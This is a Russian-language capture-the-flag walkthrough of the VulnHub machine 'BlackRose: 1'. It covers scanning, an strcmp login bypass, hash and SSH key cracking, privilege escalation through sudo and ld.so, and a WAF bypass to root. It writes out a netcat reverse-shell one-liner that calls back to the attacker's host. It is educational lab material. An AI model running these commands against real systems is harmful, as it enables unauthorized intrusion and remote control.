Найти тему

BlackRose: 1. Пошаговое руководство

Оглавление

В этой статье пойдет речь о задаче boot2root под названием «BlackRose: 1». Ее можно проверить на VulnHub во время тестирования на проникновение. Читатели подробно узнают все нюансы данной задачи.

Следует также упомянуть BadLamer, который и создал эту виртуальную машину. Пора начинать и понять, как ее взломать.

Уровень сложности: высокий.

Пошаговый разбор

Знакомство

Итак, пользователь начнет с запуска «nmap» и так называемого «агрессивного сканирования», чтобы захватить порты включенной операционной системы с различными версиями программного обеспечения, скриптами и трассерами.

nmap -A –p- 192.168.1.21

-2

Перечисление

При входе на сайт пользователь познакомился с особой системой аутентификации, которая, таким образом, позволяет ему ввести некоторые учетные данные или зарегистрироваться на ресурсе.

-3

Кроме этого, пользователь заметил фоновое изображение за табличкой со входом в систему, поэтому он загрузил его, чтобы проверить, содержит ли оно какую-либо конкретную информацию или нет. Когда человек отслеживает все это с помощью инструмента «steghide», он понимает, что ему не хватает ключа, чтобы расшифровать полученную информацию.

-4

Применение

После попытки избежать заполнения форм с помощью других методов пользователю стало ясно, что этот сайт уязвим для «strcmp».

Нужно зафиксировать этот запрос в burpsuite и проверить, что пользователь может получить в его ответе.

Запрос Burp:

-5

Ответ Burp:

-6

Отлично!! Пользователь выполняет полученный ответ в его веб-браузере и обходит административную панель в качестве пользователя «аdmin». Это грандиозный успех!

-7

Теперь стоит двигаться дальше к своей цели: внутри панели пользователь получил хэш для «bcrypt», а также видит поле для ввода команд. Но если он попытается выполнить команду «ls», система снова выдаст человеку ошибку.

Необходимо попробовать взломать этот захваченный хэш с помощью уже наверняка известного John The Ripper. Как и в результате выходных данных, пользователь может увидеть, что он получил команду «whoami».

-8

Теперь пользователь попробует выполнить команду «whoami» в веб-приложении.

-9

Все получилось. Поскольку пользователь точно не знает о функциях приложения, нужно попробовать сгенерировать хэш для «bcrypt» с помощью команды, которая позволит человеку вызвать обратный shell из его машины Kali.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.22 1234 >/tmp/f

-10

Теперь пользователь установит и активирует листенер netcat на порту 1234. Ему также следует изменить хэш поля и переписать команду:

-11

Отлично!! Пользователь успешно захватил Shell жертвы.

-12

Повышение привилегий (пользователь «delx»)

Таким образом, с помощью python пользователь будет использовать интерактивный Shell. Настало время получить привилегии пользователя «delx».

Для этого человек выполнит команду «sudo-l» и проверит, может ли он использовать двоичный файл под названием «ld.so». Это очень важный момент:

sudo -u delx /bin/ld.so /bin.sh

На приведенном ниже изображении пользователь может увидеть, что он получил Shell вместе с юзером.

-13

Когда пользователь будет проходить через файлы пользователя «delx», он столкнется с тем, что есть каталог «.ssh». Следует скопировать файл «id_rsa» и попробовать взломать его с помощью «ssh2john», John The Ripper и словаря rockyou.

-14
-15

Отлично!! Теперь пользователь способен подключиться через SSH!

-16

Повышение привилегий (пользователь «yourname»)

Необходимо просмотреть файлы, которые были доступны для пользователя «delx». Во время этой процедуры пользователь наткнулся на двоичный файл под названием «showPassword».

-17

Таким образом, этот двоичный файл будет использоваться для проверки пароля и расшифровки содержимого, отмеченного зеленым цветом.

-18

Пользователь также проанализирует этот код с помощью Ghidra (можно использовать не только этот инструмент), проверит его декомпилятор и перечислит пароли внутри него.

-19

Человек обратно возвращается к двоичному файлу, вводит пароль и проверяет, правильный он или нет.

-20

Стоит попробовать расшифровать содержимое с помощью некоторых онлайн-инструментов. В данном случае человек использовал шифрование AES для этих целей. На приведенном ниже изображении можно увидеть, что теперь у пользователя снова есть один зашифрованный текст для получения информации.

-21

После тестирования этого ключа со всеми 3 пользователями он не сработал ни для одного из них. Читатели помнят то фоновое изображение, которое пользователь скачал в самом начале?

Нужно попробовать задействовать его.

-22

Проверив все возможные методы, пользователь, наконец, расшифровал пароль и получил «ROT47».

-23

Теперь следует использовать полученный пароль для пользователя «yourname». Хакер наконец-то захватил флаг для «user.txt».

-24

Повышение привилегий (root)

Следует запустить «sudo-l» и перечислить скрипт, который пользователь может выполнить как «root».

Когда человек попытался выполнить его, ему было выведено следующее сообщение: «Invalid file read».

-25

Понятно, что у человека нет доступа к скрипту, но также ясно, что он может быть отфильтрован расширениями.

После попытки прочитать различные расширения, пользователь находит одно, которое сработало, то есть «PHP».

-26

Как можно увидеть, скрипт проходит фильтр расширения, но не открывает свое содержимое. Это может быть связано с тем, что скрипт имеет функцию «WAG» и фильтрует некоторые слова.

После некоторых действий была изменена концепция, и пользователю удалось обойти «WAF».

-27

Ну что ж, не стоит больше тратить время, а сделать «/bin/sh» для того, чтобы захватить Shell Root и прочитать содержимое файла «root.txt».

-28

Автор переведенной статьи: David Utón.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.